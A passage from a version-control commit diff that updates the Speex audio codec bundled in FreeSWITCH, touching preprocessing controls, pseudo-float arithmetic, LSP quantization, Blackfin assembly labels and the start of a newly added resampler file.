-   /* Nyquist frequency is mostly useless too */
-   st->frame[2*N-1]=0;
-
    /* Inverse FFT with 1/N scaling */
-   spx_drft_backward(st->fft_lookup, st->frame);
-
+   spx_ifft(st->fft_lookup, st->ft, st->frame);
+   /* Scale back to original (lower) amplitude */
    for (i=0;i<2*N;i++)
-      st->frame[i] *= scale;
+      st->frame[i] = PSHR16(st->frame[i], st->frame_shift);
 
+   /*FIXME: This *will* not work for fixed-point */
+#ifndef FIXED_POINT
+   if (st->agc_enabled)
    {
       float max_sample=0;
       for (i=0;i<2*N;i++)
@@ -880,9 +976,11 @@
             st->frame[i] *= damp;
       }
    }
-
+#endif
+   
+   /* Synthesis window (for WOLA) */
    for (i=0;i<2*N;i++)
-      st->frame[i] *= st->window[i];
+      st->frame[i] = MULT16_16_Q15(st->frame[i], st->window[i]);
 
    /* Perform overlap and add */
    for (i=0;i<N3;i++)
@@ -894,51 +992,60 @@
    for (i=0;i<N3;i++)
       st->outbuf[i] = st->frame[st->frame_size+i];
 
-   /* Save old power spectrum */
-   for (i=1;i<N;i++)
-      st->old_ps[i] = ps[i];
-
-   return is_speech;
+   /* FIXME: This VAD is a kludge */
+   st->speech_prob = Pframe;
+   if (st->vad_enabled)
+   {
+      if (st->speech_prob > st->speech_prob_start || (st->was_speech && st->speech_prob > st->speech_prob_continue))
+      {
+         st->was_speech=1;
+         return 1;
+      } else
+      {
+         st->was_speech=0;
+         return 0;
+      }
+   } else {
+      return 1;
+   }
 }
 
-void speex_preprocess_estimate_update(SpeexPreprocessState *st, spx_int16_t *x, spx_int32_t *echo)
+EXPORT void speex_preprocess_estimate_update(SpeexPreprocessState *st, spx_int16_t *x)
 {
    int i;
    int N = st->ps_size;
    int N3 = 2*N - st->frame_size;
+   int M;
+   spx_word32_t *ps=st->ps;
 
-   float *ps=st->ps;
-
+   M = st->nbands;
+   st->min_count++;
+   
    preprocess_analysis(st, x);
 
    update_noise_prob(st);
-
-   st->nb_preprocess++;
    
    for (i=1;i<N-1;i++)
    {
-      if (st->update_prob[i]<.5f || st->ps[i] < st->noise[i])
+      if (!st->update_prob[i] || st->ps[i] < PSHR32(st->noise[i],NOISE_SHIFT))
       {
-         if (echo)
-            st->noise[i] = .95f*st->noise[i] + .1f*max(1.0f,st->ps[i]-st->frame_size*st->frame_size*1.0*echo[i]);
-         else
-            st->noise[i] = .95f*st->noise[i] + .1f*st->ps[i];
+         st->noise[i] = MULT16_32_Q15(QCONST16(.95f,15),st->noise[i]) + MULT16_32_Q15(QCONST16(.05f,15),SHL32(st->ps[i],NOISE_SHIFT));
       }
    }
 
    for (i=0;i<N3;i++)
-      st->outbuf[i] = x[st->frame_size-N3+i]*st->window[st->frame_size+i];
+      st->outbuf[i] = MULT16_16_Q15(x[st->frame_size-N3+i],st->window[st->frame_size+i]);
 
    /* Save old power spectrum */
-   for (i=1;i<N;i++)
+   for (i=0;i<N+M;i++)
       st->old_ps[i] = ps[i];
 
-   for (i=1;i<N;i++)
-      st->reverb_estimate[i] *= st->reverb_decay;
+   for (i=0;i<N;i++)
+      st->reverb_estimate[i] = MULT16_32_Q15(st->reverb_decay, st->reverb_estimate[i]);
 }
 
 
-int speex_preprocess_ctl(SpeexPreprocessState *state, int request, void *ptr)
+EXPORT int speex_preprocess_ctl(SpeexPreprocessState *state, int request, void *ptr)
 {
    int i;
    SpeexPreprocessState *st;
@@ -946,19 +1053,19 @@
    switch(request)
    {
    case SPEEX_PREPROCESS_SET_DENOISE:
-      st->denoise_enabled = (*(int*)ptr);
+      st->denoise_enabled = (*(spx_int32_t*)ptr);
       break;
    case SPEEX_PREPROCESS_GET_DENOISE:
-      (*(int*)ptr) = st->denoise_enabled;
+      (*(spx_int32_t*)ptr) = st->denoise_enabled;
       break;
-
+#ifndef FIXED_POINT
    case SPEEX_PREPROCESS_SET_AGC:
-      st->agc_enabled = (*(int*)ptr);
+      st->agc_enabled = (*(spx_int32_t*)ptr);
       break;
    case SPEEX_PREPROCESS_GET_AGC:
-      (*(int*)ptr) = st->agc_enabled;
+      (*(spx_int32_t*)ptr) = st->agc_enabled;
       break;
-
+#ifndef DISABLE_FLOAT_API
    case SPEEX_PREPROCESS_SET_AGC_LEVEL:
       st->agc_level = (*(float*)ptr);
       if (st->agc_level<1)
@@ -969,58 +1076,144 @@
    case SPEEX_PREPROCESS_GET_AGC_LEVEL:
       (*(float*)ptr) = st->agc_level;
       break;
-
+#endif /* #ifndef DISABLE_FLOAT_API */
+   case SPEEX_PREPROCESS_SET_AGC_INCREMENT:
+      st->max_increase_step = exp(0.11513f * (*(spx_int32_t*)ptr)*st->frame_size / st->sampling_rate);
+      break;
+   case SPEEX_PREPROCESS_GET_AGC_INCREMENT:
+      (*(spx_int32_t*)ptr) = floor(.5+8.6858*log(st->max_increase_step)*st->sampling_rate/st->frame_size);
+      break;
+   case SPEEX_PREPROCESS_SET_AGC_DECREMENT:
+      st->max_decrease_step = exp(0.11513f * (*(spx_int32_t*)ptr)*st->frame_size / st->sampling_rate);
+      break;
+   case SPEEX_PREPROCESS_GET_AGC_DECREMENT:
+      (*(spx_int32_t*)ptr) = floor(.5+8.6858*log(st->max_decrease_step)*st->sampling_rate/st->frame_size);
+      break;
+   case SPEEX_PREPROCESS_SET_AGC_MAX_GAIN:
+      st->max_gain = exp(0.11513f * (*(spx_int32_t*)ptr));
+      break;
+   case SPEEX_PREPROCESS_GET_AGC_MAX_GAIN:
+      (*(spx_int32_t*)ptr) = floor(.5+8.6858*log(st->max_gain));
+      break;
+#endif
    case SPEEX_PREPROCESS_SET_VAD:
-      st->vad_enabled = (*(int*)ptr);
+      speex_warning("The VAD has been replaced by a hack pending a complete rewrite");
+      st->vad_enabled = (*(spx_int32_t*)ptr);
       break;
    case SPEEX_PREPROCESS_GET_VAD:
-      (*(int*)ptr) = st->vad_enabled;
+      (*(spx_int32_t*)ptr) = st->vad_enabled;
       break;
    
    case SPEEX_PREPROCESS_SET_DEREVERB:
-      st->dereverb_enabled = (*(int*)ptr);
+      st->dereverb_enabled = (*(spx_int32_t*)ptr);
       for (i=0;i<st->ps_size;i++)
          st->reverb_estimate[i]=0;
       break;
    case SPEEX_PREPROCESS_GET_DEREVERB:
-      (*(int*)ptr) = st->dereverb_enabled;
+      (*(spx_int32_t*)ptr) = st->dereverb_enabled;
       break;
 
    case SPEEX_PREPROCESS_SET_DEREVERB_LEVEL:
-      st->reverb_level = (*(float*)ptr);
+      /* FIXME: Re-enable when de-reverberation is actually enabled again */
+      /*st->reverb_level = (*(float*)ptr);*/
       break;
    case SPEEX_PREPROCESS_GET_DEREVERB_LEVEL:
-      (*(float*)ptr) = st->reverb_level;
+      /* FIXME: Re-enable when de-reverberation is actually enabled again */
+      /*(*(float*)ptr) = st->reverb_level;*/
       break;
    
    case SPEEX_PREPROCESS_SET_DEREVERB_DECAY:
-      st->reverb_decay = (*(float*)ptr);
+      /* FIXME: Re-enable when de-reverberation is actually enabled again */
+      /*st->reverb_decay = (*(float*)ptr);*/
       break;
    case SPEEX_PREPROCESS_GET_DEREVERB_DECAY:
-      (*(float*)ptr) = st->reverb_decay;
+      /* FIXME: Re-enable when de-reverberation is actually enabled again */
+      /*(*(float*)ptr) = st->reverb_decay;*/
       break;
 
    case SPEEX_PREPROCESS_SET_PROB_START:
-      st->speech_prob_start = (*(int*)ptr) / 100.0;
-      if ( st->speech_prob_start > 1 || st->speech_prob_start < 0 )
-         st->speech_prob_start = SPEEX_PROB_START_DEFAULT;
+      *(spx_int32_t*)ptr = MIN32(100,MAX32(0, *(spx_int32_t*)ptr));
+      st->speech_prob_start = DIV32_16(MULT16_16(Q15ONE,*(spx_int32_t*)ptr), 100);
       break;
    case SPEEX_PREPROCESS_GET_PROB_START:
-      (*(int*)ptr) = st->speech_prob_start * 100;
+      (*(spx_int32_t*)ptr) = MULT16_16_Q15(st->speech_prob_start, 100);
       break;
 
    case SPEEX_PREPROCESS_SET_PROB_CONTINUE:
-      st->speech_prob_continue = (*(int*)ptr) / 100.0;
-      if ( st->speech_prob_continue > 1 || st->speech_prob_continue < 0 )
-         st->speech_prob_continue = SPEEX_PROB_CONTINUE_DEFAULT;
+      *(spx_int32_t*)ptr = MIN32(100,MAX32(0, *(spx_int32_t*)ptr));
+      st->speech_prob_continue = DIV32_16(MULT16_16(Q15ONE,*(spx_int32_t*)ptr), 100);
       break;
    case SPEEX_PREPROCESS_GET_PROB_CONTINUE:
-      (*(int*)ptr) = st->speech_prob_continue * 100;
+      (*(spx_int32_t*)ptr) = MULT16_16_Q15(st->speech_prob_continue, 100);
       break;
 
-      default:
+   case SPEEX_PREPROCESS_SET_NOISE_SUPPRESS:
+      st->noise_suppress = -ABS(*(spx_int32_t*)ptr);
+      break;
+   case SPEEX_PREPROCESS_GET_NOISE_SUPPRESS:
+      (*(spx_int32_t*)ptr) = st->noise_suppress;
+      break;
+   case SPEEX_PREPROCESS_SET_ECHO_SUPPRESS:
+      st->echo_suppress = -ABS(*(spx_int32_t*)ptr);
+      break;
+   case SPEEX_PREPROCESS_GET_ECHO_SUPPRESS:
+      (*(spx_int32_t*)ptr) = st->echo_suppress;
+      break;
+   case SPEEX_PREPROCESS_SET_ECHO_SUPPRESS_ACTIVE:
+      st->echo_suppress_active = -ABS(*(spx_int32_t*)ptr);
+      break;
+   case SPEEX_PREPROCESS_GET_ECHO_SUPPRESS_ACTIVE:
+      (*(spx_int32_t*)ptr) = st->echo_suppress_active;
+      break;
+   case SPEEX_PREPROCESS_SET_ECHO_STATE:
+      st->echo_state = (SpeexEchoState*)ptr;
+      break;
+   case SPEEX_PREPROCESS_GET_ECHO_STATE:
+      (*(SpeexEchoState**)ptr) = (SpeexEchoState*)st->echo_state;
+      break;
+#ifndef FIXED_POINT
+   case SPEEX_PREPROCESS_GET_AGC_LOUDNESS:
+      (*(spx_int32_t*)ptr) = pow(st->loudness, 1.0/LOUDNESS_EXP);
+      break;
+   case SPEEX_PREPROCESS_GET_AGC_GAIN:
+      (*(spx_int32_t*)ptr) = floor(.5+8.6858*log(st->agc_gain));
+      break;
+#endif
+   case SPEEX_PREPROCESS_GET_PSD_SIZE:
+   case SPEEX_PREPROCESS_GET_NOISE_PSD_SIZE:
+      (*(spx_int32_t*)ptr) = st->ps_size;
+      break;
+   case SPEEX_PREPROCESS_GET_PSD:
+      for(i=0;i<st->ps_size;i++)
+      	((spx_int32_t *)ptr)[i] = (spx_int32_t) st->ps[i];
+      break;
+   case SPEEX_PREPROCESS_GET_NOISE_PSD:
+      for(i=0;i<st->ps_size;i++)
+      	((spx_int32_t *)ptr)[i] = (spx_int32_t) PSHR32(st->noise[i], NOISE_SHIFT);
+      break;
+   case SPEEX_PREPROCESS_GET_PROB:
+      (*(spx_int32_t*)ptr) = MULT16_16_Q15(st->speech_prob, 100);
+      break;
+#ifndef FIXED_POINT
+   case SPEEX_PREPROCESS_SET_AGC_TARGET:
+      st->agc_level = (*(spx_int32_t*)ptr);
+      if (st->agc_level<1)
+         st->agc_level=1;
+      if (st->agc_level>32768)
+         st->agc_level=32768;
+      break;
+   case SPEEX_PREPROCESS_GET_AGC_TARGET:
+      (*(spx_int32_t*)ptr) = st->agc_level;
+      break;
+#endif
+   default:
       speex_warning_int("Unknown speex_preprocess_ctl request: ", request);
       return -1;
    }
    return 0;
 }
+
+#ifdef FIXED_DEBUG
+long long spx_mips=0;
+#endif
+

Modified: freeswitch/branches/seven/libs/speex/libspeex/pseudofloat.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/pseudofloat.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/pseudofloat.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -2,6 +2,15 @@
 /**
    @file pseudofloat.h
    @brief Pseudo-floating point
+ * This header file provides a lightweight floating point type for
+ * use on fixed-point platforms when a large dynamic range is 
+ * required. The new type is not compatible with the 32-bit IEEE format,
+ * it is not even remotely as accurate as 32-bit floats, and is not
+ * even guaranteed to produce even remotely correct results for code
+ * other than Speex. It makes all kinds of shortcuts that are acceptable
+ * for Speex, but may not be acceptable for your application. You're
+ * quite welcome to reuse this code and improve it, but don't assume
+ * it works out of the box. Most likely, it doesn't.
  */
 /*
    Redistribution and use in source and binary forms, with or without
@@ -35,7 +44,8 @@
 #ifndef PSEUDOFLOAT_H
 #define PSEUDOFLOAT_H
 
-#include "misc.h"
+#include "arch.h"
+#include "os_support.h"
 #include "math_approx.h"
 #include <math.h>
 
@@ -65,18 +75,8 @@
       spx_float_t r = {0,0};
       return r;
    }
-   while (x>32767)
-   {
-      x >>= 1;
-      /*x *= .5;*/
-      e++;
-   }
-   while (x<16383)
-   {
-      x <<= 1;
-      /*x *= 2;*/
-      e--;
-   }
+   e = spx_ilog2(ABS32(x))-14;
+   x = VSHR32(x, e);
    if (sign)
    {
       spx_float_t r;
@@ -205,7 +205,15 @@
    return r;   
 }
 
+static inline spx_float_t FLOAT_AMULT(spx_float_t a, spx_float_t b)
+{
+   spx_float_t r;
+   r.m = (spx_int16_t)((spx_int32_t)(a).m*(b).m>>15);
+   r.e = (a).e+(b).e+15;
+   return r;   
+}
 
+
 static inline spx_float_t FLOAT_SHL(spx_float_t a, int b)
 {
    spx_float_t r;
@@ -232,62 +240,39 @@
 
 static inline spx_int32_t FLOAT_MUL32(spx_float_t a, spx_word32_t b)
 {
-   if (a.e<-15)
-      return SHR32(MULT16_32_Q15(a.m, b),-a.e-15);
-   else
-      return SHL32(MULT16_32_Q15(a.m, b),15+a.e);
+   return VSHR32(MULT16_32_Q15(a.m, b),-a.e-15);
 }
 
 static inline spx_float_t FLOAT_MUL32U(spx_word32_t a, spx_word32_t b)
 {
-   int e=0;
+   int e1, e2;
    spx_float_t r;
-   /* FIXME: Handle the sign */
-   if (a==0)
+   if (a==0 || b==0)
    {
       return FLOAT_ZERO;
    }
-   while (a>32767)
-   {
-      a >>= 1;
-      e++;
-   }
-   while (a<16384)
-   {
-      a <<= 1;
-      e--;
-   }
-   while (b>32767)
-   {
-      b >>= 1;
-      e++;
-   }
-   while (b<16384)
-   {
-      b <<= 1;
-      e--;
-   }
+   e1 = spx_ilog2(ABS32(a));
+   a = VSHR32(a, e1-14);
+   e2 = spx_ilog2(ABS32(b));
+   b = VSHR32(b, e2-14);
    r.m = MULT16_16_Q15(a,b);
-   r.e = e+15;
+   r.e = e1+e2-13;
    return r;
 }
 
+/* Do NOT attempt to divide by a negative number */
 static inline spx_float_t FLOAT_DIV32_FLOAT(spx_word32_t a, spx_float_t b)
 {
    int e=0;
    spx_float_t r;
-   /* FIXME: Handle the sign */
    if (a==0)
    {
       return FLOAT_ZERO;
    }
-   while (a<SHL32(EXTEND32(b.m),14))
+   e = spx_ilog2(ABS32(a))-spx_ilog2(b.m-1)-15;
+   a = VSHR32(a, e);
+   if (ABS32(a)>=SHL32(EXTEND32(b.m-1),15))
    {
-      a <<= 1;
-      e--;
-   }
-   while (a>=SHL32(EXTEND32(b.m-1),15))
-   {
       a >>= 1;
       e++;
    }
@@ -297,41 +282,47 @@
 }
 
 
+/* Do NOT attempt to divide by a negative number */
 static inline spx_float_t FLOAT_DIV32(spx_word32_t a, spx_word32_t b)
 {
-   int e=0;
+   int e0=0,e=0;
    spx_float_t r;
-   /* FIXME: Handle the sign */
    if (a==0)
    {
       return FLOAT_ZERO;
    }
-   while (b>32767)
+   if (b>32767)
    {
-      b >>= 1;
-      e--;
+      e0 = spx_ilog2(b)-14;
+      b = VSHR32(b, e0);
+      e0 = -e0;
    }
-   while (a<SHL32(b,14))
+   e = spx_ilog2(ABS32(a))-spx_ilog2(b-1)-15;
+   a = VSHR32(a, e);
+   if (ABS32(a)>=SHL32(EXTEND32(b-1),15))
    {
-      a <<= 1;
-      e--;
-   }
-   while (a>=SHL32(b-1,15))
-   {
       a >>= 1;
       e++;
    }
+   e += e0;
    r.m = DIV32_16(a,b);
    r.e = e;
    return r;
 }
 
+/* Do NOT attempt to divide by a negative number */
 static inline spx_float_t FLOAT_DIVU(spx_float_t a, spx_float_t b)
 {
    int e=0;
    spx_int32_t num;
    spx_float_t r;
+   if (b.m<=0)
+   {
+      speex_warning_int("Attempted to divide by", b.m);
+      return FLOAT_ONE;
+   }
    num = a.m;
+   a.m = ABS16(a.m);
    while (a.m >= b.m)
    {
       e++;
@@ -347,7 +338,7 @@
 {
    spx_float_t r;
    spx_int32_t m;
-   m = a.m << 14;
+   m = SHL32(EXTEND32(a.m), 14);
    r.e = a.e - 14;
    if (r.e & 1)
    {
@@ -367,6 +358,7 @@
 #define FLOAT_HALF 0.5f
 #define PSEUDOFLOAT(x) (x)
 #define FLOAT_MULT(a,b) ((a)*(b))
+#define FLOAT_AMULT(a,b) ((a)*(b))
 #define FLOAT_MUL32(a,b) ((a)*(b))
 #define FLOAT_DIV32(a,b) ((a)/(b))
 #define FLOAT_EXTRACT16(a) (a)

Modified: freeswitch/branches/seven/libs/speex/libspeex/quant_lsp.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/quant_lsp.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/quant_lsp.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -35,12 +35,13 @@
 #endif
 
 #include "quant_lsp.h"
+#include "os_support.h"
 #include <math.h>
 #ifndef M_PI
 #define M_PI 3.14159265358979323846
 #endif
 
-#include "misc.h"
+#include "arch.h"
 
 #ifdef BFIN_ASM
 #include "quant_lsp_bfin.h"
@@ -304,11 +305,11 @@
 #ifdef DISABLE_WIDEBAND
 void lsp_quant_high(spx_lsp_t *lsp, spx_lsp_t *qlsp, int order, SpeexBits *bits)
 {
-   speex_error("Wideband and Ultra-wideband are disabled");
+   speex_fatal("Wideband and Ultra-wideband are disabled");
 }
 void lsp_unquant_high(spx_lsp_t *lsp, int order, SpeexBits *bits)
 {
-   speex_error("Wideband and Ultra-wideband are disabled");
+   speex_fatal("Wideband and Ultra-wideband are disabled");
 }
 #else
 extern const signed char high_lsp_cdbk[];
@@ -382,66 +383,3 @@
 
 #endif
 
-
-#ifdef EPIC_48K
-
-extern const signed char cdbk_lsp_vlbr[5120];
-extern const signed char cdbk_lsp2_vlbr[160];
-
-void lsp_quant_48k(spx_lsp_t *lsp, spx_lsp_t *qlsp, int order, SpeexBits *bits)
-{
-   int i;
-   int id;
-   spx_word16_t quant_weight[10];
-
-   for (i=0;i<order;i++)
-      qlsp[i]=lsp[i];
-
-   compute_quant_weights(qlsp, quant_weight, order);
-
-   for (i=0;i<order;i++)
-      qlsp[i]=SUB16(qlsp[i],LSP_SCALING*(.25*i+.3125));
-#ifndef FIXED_POINT
-   for (i=0;i<order;i++)
-      qlsp[i] = qlsp[i]*LSP_SCALE;
-#endif
-   
-   id = lsp_quant(qlsp, cdbk_lsp_vlbr, 512, order);
-   speex_bits_pack(bits, id, 9);
-
-   for (i=0;i<order;i++)
-      qlsp[i]*=4;
-   
-   id = lsp_weight_quant(qlsp, quant_weight, cdbk_lsp2_vlbr, 16, 10);
-   speex_bits_pack(bits, id, 4);
-
-#ifdef FIXED_POINT
-   for (i=0;i<order;i++)
-      qlsp[i]=PSHR(qlsp[i],2);
-#else
-   for (i=0;i<order;i++)
-      qlsp[i]=qlsp[i]*0.00097655;
-#endif
-
-   for (i=0;i<order;i++)
-      qlsp[i]=lsp[i]-qlsp[i];
-}
-
-void lsp_unquant_48k(spx_lsp_t *lsp, int order, SpeexBits *bits)
-{
-   int i, id;
-   for (i=0;i<order;i++)
-      lsp[i]=LSP_SCALING*(.25*i+.3125);
-
-
-   id=speex_bits_unpack_unsigned(bits, 9);
-   for (i=0;i<10;i++)
-      lsp[i] += LSP_SCALING*0.0039062*cdbk_lsp_vlbr[id*10+i];
-
-   id=speex_bits_unpack_unsigned(bits, 4);
-   for (i=0;i<10;i++)
-      lsp[i] += LSP_SCALING*0.00097655*cdbk_lsp2_vlbr[id*10+i];
-   
-}
-
-#endif

Modified: freeswitch/branches/seven/libs/speex/libspeex/quant_lsp.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/quant_lsp.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/quant_lsp.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -36,7 +36,7 @@
 #define QUANT_LSP_H
 
 #include <speex/speex_bits.h>
-#include "misc.h"
+#include "arch.h"
 
 #define MAX_LSP_SIZE 20
 
@@ -71,13 +71,4 @@
 /* Decodes high-band LSPs */
 void lsp_unquant_high(spx_lsp_t *lsp, int order, SpeexBits *bits);
 
-#ifdef EPIC_48K
-/* Quantizes narrowband LSPs with 14 bits */
-void lsp_quant_48k(spx_lsp_t *lsp, spx_lsp_t *qlsp, int order, SpeexBits *bits);
-
-/* Decodes quantized narrowband LSPs (14 bits) */
-void lsp_unquant_48k(spx_lsp_t *lsp, int order, SpeexBits *bits);
 #endif
-
-
-#endif

Modified: freeswitch/branches/seven/libs/speex/libspeex/quant_lsp_bfin.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/quant_lsp_bfin.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/quant_lsp_bfin.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -68,19 +68,19 @@
 "       B0 = %2;\n\t"                          
 
 "       R2.L = W [I0++];\n\t"
-"	LSETUP (lq1, lq2) LC0 = %4;\n\t"
-"lq1:	  R3 = 0;\n\t"                         /* R3: dist           */
-"	  LSETUP (lq3, lq4) LC1 = %5;\n\t"
-"lq3:       R1 = B [P2++] (X);\n\t"            
+"	LSETUP (1f, 2f) LC0 = %4;\n\t"
+"1:	  R3 = 0;\n\t"                         /* R3: dist           */
+"	  LSETUP (3f, 4f) LC1 = %5;\n\t"
+"3:       R1 = B [P2++] (X);\n\t"            
 "	    R1 <<= 5;\n\t"
 "	    R0.L = R2.L - R1.L || R2.L = W [I0++];\n\t"
 "	    R0 = R0.L*R0.L;\n\t"
-"lq4:	    R3 = R3 + R0;\n\t"
+"4:	    R3 = R3 + R0;\n\t"
 
 "	  cc =R3<%0;\n\t"
 "	  if cc %0=R3;\n\t"
 "	  if cc %1=R5;\n\t"
-"lq2:     R5 += 1;\n\t"
+"2:     R5 += 1;\n\t"
 "         L0 = 0;\n\t"
    : "=&d" (best_dist), "=&d" (best_id)
    : "a" (x), "b" (cdbk), "a" (nbVec), "a" (nbDim)
@@ -132,10 +132,10 @@
 "       B0 = %2;\n\t"                          
 "	B1 = %3;\n\t"                          
 
-"	LSETUP (lwq1, lwq2) LC0 = %5;\n\t"
-"lwq1:	  R3 = 0 (X);\n\t"                     /* R3: dist           */
-"	  LSETUP (lwq3, lwq4) LC1 = %6;\n\t"
-"lwq3:	    R0.L = W [I0++] || R2.L = W [I1++];\n\t"
+"	LSETUP (1f, 2f) LC0 = %5;\n\t"
+"1:	  R3 = 0 (X);\n\t"                     /* R3: dist           */
+"	  LSETUP (3f, 4f) LC1 = %6;\n\t"
+"3:	    R0.L = W [I0++] || R2.L = W [I1++];\n\t"
 "           R1 = B [P2++] (X);\n\t"            
 "	    R1 <<= 5;\n\t"
 "	    R0.L = R0.L - R1.L;\n\t"
@@ -143,12 +143,12 @@
 "	    A1 = R2.L*R0.L (M,IS);\n\t"
 "	    A1 = A1 >>> 16;\n\t"
 "	    R1 = (A1 += R2.L*R0.H) (IS);\n\t"
-"lwq4:	    R3 = R3 + R1;\n\t"
+"4:	    R3 = R3 + R1;\n\t"
 
 "	  cc =R3<%0;\n\t"
 "	  if cc %0=R3;\n\t"
 "	  if cc %1=R5;\n\t"
-"lwq2:    R5 += 1;\n\t"
+"2:    R5 += 1;\n\t"
 "         L0 = 0;\n\t"
 "         L1 = 0;\n\t"
    : "=&d" (best_dist), "=&d" (best_id)

Copied: freeswitch/branches/seven/libs/speex/libspeex/resample.c (from rev 14471, freeswitch/trunk/libs/speex/libspeex/resample.c) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/resample.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/libspeex/resample.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1131 @@
+/* Copyright (C) 2007-2008 Jean-Marc Valin
+   Copyright (C) 2008      Thorvald Natvig
+      
+   File: resample.c
+   Arbitrary resampling code
+
+   Redistribution and use in source and binary forms, with or without
+   modification, are permitted provided that the following conditions are
+   met:
+
+   1. Redistributions of source code must retain the above copyright notice,
+   this list of conditions and the following disclaimer.
+
+   2. Redistributions in binary form must reproduce the above copyright
+   notice, this list of conditions and the following disclaimer in the
+   documentation and/or other materials provided with the distribution.
+
+   3. The name of the author may not be used to endorse or promote products
+   derived from this software without specific prior written permission.
+
+   THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
+   IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+   OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+   DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
+   INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+   (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+   SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+   HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+   STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
+   ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+   POSSIBILITY OF SUCH DAMAGE.
+*/
+
+/*
+   The design goals of this code are:
+      - Very fast algorithm
+      - SIMD-friendly algorithm
+      - Low memory requirement
+      - Good *perceptual* quality (and not best SNR)
+
+   Warning: This resampler is relatively new. Although I think I got rid of 
+   all the major bugs and I don't expect the API to change anymore, there
+   may be something I've missed. So use with caution.
+
+   This algorithm is based on this original resampling algorithm:
+   Smith, Julius O. Digital Audio Resampling Home Page
+   Center for Computer Research in Music and Acoustics (CCRMA), 
+   Stanford University, 2007.
+   Web published at http://www-ccrma.stanford.edu/~jos/resample/.
+
+   There is one main difference, though. This resampler uses cubic 
+   interpolation instead of linear interpolation in the above paper. This
+   makes the table much smaller and makes it possible to compute that table
+   on a per-stream basis. In turn, being able to tweak the table for each 
+   stream makes it possible to both reduce complexity on simple ratios 
+   (e.g. 2/3), and get rid of the rounding operations in the inner loop. 
+   The latter both reduces CPU time and makes the algorithm more SIMD-friendly.
+*/
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#ifdef OUTSIDE_SPEEX
+#include <stdlib.h>
+static void *speex_alloc (int size) {return calloc(size,1);}
+static void *speex_realloc (void *ptr, int size) {return realloc(ptr, size);}
+static void speex_free (void *ptr) {free(ptr);}
+#include "speex_resampler.h"
+#include "arch.h"
+#else /* OUTSIDE_SPEEX */
+               
+#include "speex/speex_resampler.h"
+#include "arch.h"
+#include "os_support.h"
+#endif /* OUTSIDE_SPEEX */
+
+#include "stack_alloc.h"
+#include <math.h>
+
+#ifndef M_PI
+#define M_PI 3.14159263
+#endif
+
+#ifdef FIXED_POINT
+#define WORD2INT(x) ((x) < -32767 ? -32768 : ((x) > 32766 ? 32767 : (x)))  
+#else
+#define WORD2INT(x) ((x) < -32767.5f ? -32768 : ((x) > 32766.5f ? 32767 : floor(.5+(x))))  
+#endif
+               
+#define IMAX(a,b) ((a) > (b) ? (a) : (b))
+#define IMIN(a,b) ((a) < (b) ? (a) : (b))
+
+#ifndef NULL
+#define NULL 0
+#endif
+
+#ifdef _USE_SSE
+#include "resample_sse.h"
+#endif
+
+/* Numer of elements to allocate on the stack */
+#ifdef VAR_ARRAYS
+#define FIXED_STACK_ALLOC 8192
+#else
+#define FIXED_STACK_ALLOC 1024
+#endif
+
+typedef int (*resampler_basic_func)(SpeexResamplerState *, spx_uint32_t , const spx_word16_t *, spx_uint32_t *, spx_word16_t *, spx_uint32_t *);
+
+struct SpeexResamplerState_ {
+   spx_uint32_t in_rate;
+   spx_uint32_t out_rate;
+   spx_uint32_t num_rate;
+   spx_uint32_t den_rate;
+   
+   int    quality;
+   spx_uint32_t nb_channels;
+   spx_uint32_t filt_len;
+   spx_uint32_t mem_alloc_size;
+   spx_uint32_t buffer_size;
+   int          int_advance;
+   int          frac_advance;
+   float  cutoff;
+   spx_uint32_t oversample;
+   int          initialised;
+   int          started;
+   
+   /* These are per-channel */
+   spx_int32_t  *last_sample;
+   spx_uint32_t *samp_frac_num;
+   spx_uint32_t *magic_samples;
+   
+   spx_word16_t *mem;
+   spx_word16_t *sinc_table;
+   spx_uint32_t sinc_table_length;
+   resampler_basic_func resampler_ptr;
+         
+   int    in_stride;
+   int    out_stride;
+} ;
+
+static double kaiser12_table[68] = {
+   0.99859849, 1.00000000, 0.99859849, 0.99440475, 0.98745105, 0.97779076,
+   0.96549770, 0.95066529, 0.93340547, 0.91384741, 0.89213598, 0.86843014,
+   0.84290116, 0.81573067, 0.78710866, 0.75723148, 0.72629970, 0.69451601,
+   0.66208321, 0.62920216, 0.59606986, 0.56287762, 0.52980938, 0.49704014,
+   0.46473455, 0.43304576, 0.40211431, 0.37206735, 0.34301800, 0.31506490,
+   0.28829195, 0.26276832, 0.23854851, 0.21567274, 0.19416736, 0.17404546,
+   0.15530766, 0.13794294, 0.12192957, 0.10723616, 0.09382272, 0.08164178,
+   0.07063950, 0.06075685, 0.05193064, 0.04409466, 0.03718069, 0.03111947,
